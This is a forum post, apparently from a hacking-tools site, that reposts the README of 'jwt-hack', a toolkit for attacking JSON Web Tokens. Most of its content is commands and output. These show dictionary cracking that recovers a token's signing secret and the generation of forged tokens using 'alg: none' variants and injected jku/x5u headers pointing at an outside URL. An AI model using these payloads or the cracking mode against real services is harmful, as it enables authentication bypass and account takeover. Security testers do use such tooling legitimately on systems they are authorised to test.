# JWT-Hack | Tool To En/Decoding JWT, Generate Payload For JWT Attack And Very Fast Cracking(Dict/Brutefoce)

**URL:** <https://onehack.st/t/jwt-hack-tool-to-en-decoding-jwt-generate-payload-for-jwt-attack-and-very-fast-cracking-dict-brutefoce/195806>\
**Category:** Tools & Scripts\
**Tags:** tools, hacking, freebies\
**Created:** [July 31, 2021, 12:07pm UTC](https://onehack.st/t/jwt-hack-tool-to-en-decoding-jwt-generate-payload-for-jwt-attack-and-very-fast-cracking-dict-brutefoce/195806 "2021-07-31T12:07:46Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [July 31, 2021, 12:07pm UTC](https://onehack.st/t/jwt-hack-tool-to-en-decoding-jwt-generate-payload-for-jwt-attack-and-very-fast-cracking-dict-brutefoce/195806/1 "2021-07-31T12:07:46Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/d/1/d151ebbdaa5a00ac1fe79718a379d37d477b6ad0.png)

# Hack the JWT(JSON Web Token)

[![](https://camo.githubusercontent.com/35ebc77e960dde934c760d94ad95056bebe173b3dbd1d6e345d071be4170438a/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f68616877756c2f6a77742d6861636b3f7374796c653d666c6174)](https://camo.githubusercontent.com/35ebc77e960dde934c760d94ad95056bebe173b3dbd1d6e345d071be4170438a/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f68616877756c2f6a77742d6861636b3f7374796c653d666c6174) [![jwt-hack](https://camo.githubusercontent.com/bf94f1dc02dd1ba1efd6120c18f82ceea752e99e5fc2585cd60a60ef41fc9d62/68747470733a2f2f736e617063726166742e696f2f6a77742d6861636b2f62616467652e737667)](https://snapcraft.io/jwt-hack) [![](https://camo.githubusercontent.com/6a5226ca187bc630734dc7d666d06b090de61bf2753bac08430dbdc2289bab14/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c616e6775616765732f746f702f68616877756c2f6a77742d6861636b3f7374796c653d666c6174)](https://camo.githubusercontent.com/6a5226ca187bc630734dc7d666d06b090de61bf2753bac08430dbdc2289bab14/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c616e6775616765732f746f702f68616877756c2f6a77742d6861636b3f7374796c653d666c6174) [![](https://camo.githubusercontent.com/3a0b5849c9d185593d916d50205fd992ea2e989d17fb54e0cbbf0f9aa7c97583/68747470733a2f2f6170702e636f646163792e636f6d2f70726f6a6563742f62616467652f47726164652f3737626466343265663036613433306139626662343666313565623836363236)](https://camo.githubusercontent.com/3a0b5849c9d185593d916d50205fd992ea2e989d17fb54e0cbbf0f9aa7c97583/68747470733a2f2f6170702e636f646163792e636f6d2f70726f6a6563742f62616467652f47726164652f3737626466343265663036613433306139626662343666313565623836363236) [![](https://camo.githubusercontent.com/000db983e6440e3f6dae955dc9a5590a16887dd528a1b14f59c25c66f04d58c6/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f68616877756c2f6a77742d6861636b)](https://goreportcard.com/report/github.com/hahwul/jwt-hack) [![](https://github.com/hahwul/jwt-hack/workflows/Docker%20CI/badge.svg)](https://github.com/hahwul/jwt-hack/workflows/Docker%20CI/badge.svg) [![](https://github.com/hahwul/jwt-hack/workflows/CodeQL/badge.svg)](https://github.com/hahwul/jwt-hack/workflows/CodeQL/badge.svg) [![](https://github.com/hahwul/jwt-hack/workflows/Go/badge.svg)](https://github.com/hahwul/jwt-hack/workflows/Go/badge.svg) [![](https://camo.githubusercontent.com/334197d15a5a0f3246351fae457436876cb550d5e08941013d0e8f43a40526e1/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f68616877756c3f7374796c653d666c6174266c6f676f3d74776974746572)](https://twitter.com/intent/follow?screen_name=hahwul) [![](https://camo.githubusercontent.com/9841a9a14ba84357620e35f8cd6301a143747615ae0ad1248054972b591d9f01/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f68616877756c3f7374796c653d666c6174266c6f676f3d676974687562)](https://github.com/hahwul)

## Installation

### go-get(dev version)

```auto
▶ go get -u github.com/hahwul/jwt-hack

```

### homebrew

```auto
▶ brew tap hahwul/jwt-hack
▶ brew install jwt-hack

```

### snapcraft

```auto
▶ sudo snap install jwt-hack

```

## Usage

```auto
   d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
   88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
   88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
Hack the JWT(JSON Web Token) | by @hahwul | v1.0.0

Usage:
  jwt-hack [command]

Available Commands:
  crack Cracking JWT Token
  decode Decode JWT to JSON
  encode Encode json to JWT
  help Help about any command
  payload Generate JWT Attack payloads
  version Show version

Flags:
  -h, --help help for jwt-hack

```

[![1414](https://user-images.githubusercontent.com/13212227/97078000-8a023900-1623-11eb-844f-ee92399be392.png)](https://user-images.githubusercontent.com/13212227/97078000-8a023900-1623-11eb-844f-ee92399be392.png)

## Encode mode(JSON to JWT)

```auto
▶ jwt-hack encode '{"json":"format"}' --secret={YOUR_SECRET}

```

e.g

```auto
▶ jwt-hack encode '{"test":"1234"}' --secret=asdf
   d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
   88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
   88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
INFO[0000] Encoded result algorithm=HS256
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoiMTIzNCJ9.JOL1SYkRZYUz9GVny-DgoDj60C0RLz929h1_fFcpqQA

```

## Decode mode(JWT to JSON)

```auto
▶ jwt-hack decode {JWT_CODE}

```

e.g

```auto
▶ jwt-hack decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

   d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
   88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
   88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
INFO[0000] Decoded data(claims) header="{\"alg\":\"HS256\",\"typ\":\"JWT\"}" method="&{HS256 5}"
{"iat":1516239022,"name":"John Doe","sub":"1234567890"}

```

## Crack mode(Dictionary attack / BruteForce)

```auto
▶ jwt-hack crack -w {WORDLIST} {JWT_CODE}

```

e.g

```auto
▶ jwt-hack crack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA -w samples/wordlist.txt

   d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
   88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
   88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
[*] Start dict cracking mode
INFO[0000] Loaded words (remove duplicated) size=16
INFO[0000] Invalid signature word=fas
INFO[0000] Invalid signature word=asd
INFO[0000] Invalid signature word=1234
INFO[0000] Invalid signature word=efq
INFO[0000] Invalid signature word=asdf
INFO[0000] Invalid signature word=2q
INFO[0000] Found! Token signature secret is test Signature=Verified Word=test
INFO[0000] Invalid signature word=dfas
INFO[0000] Invalid signature word=ga
INFO[0000] Invalid signature word=f
INFO[0000] Invalid signature word=ds
INFO[0000] Invalid signature word=sad
INFO[0000] Invalid signature word=qsf
...
INFO[0000] Invalid signature word=password
INFO[0000] Invalid signature word=error
INFO[0000] Invalid signature word=calendar
[+] Found! JWT signature secret: test
[+] Finish crack mode

```

## Payload mode(Alg none attack, etc..)

```auto
▶ jwt-hack payload {JWT_CODE}

```

e.g

```auto
▶ jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA
   d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
   88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
   88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
payload called
INFO[0000] Generate none payload header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate NonE payload header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate NONE payload header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate jku payload header="{\"alg\":\"hs256\",\"jku\":\"https://www.google.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate x5u payload header="{\"alg\":\"hs256\",\"x5u\":\"https://www.google.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

```

## GitHub:

> **[GitHub - hahwul/jwt-hack: JSON Web Token Hack Toolkit](https://github.com/hahwul/jwt-hack)**
>
> JSON Web Token Hack Toolkit
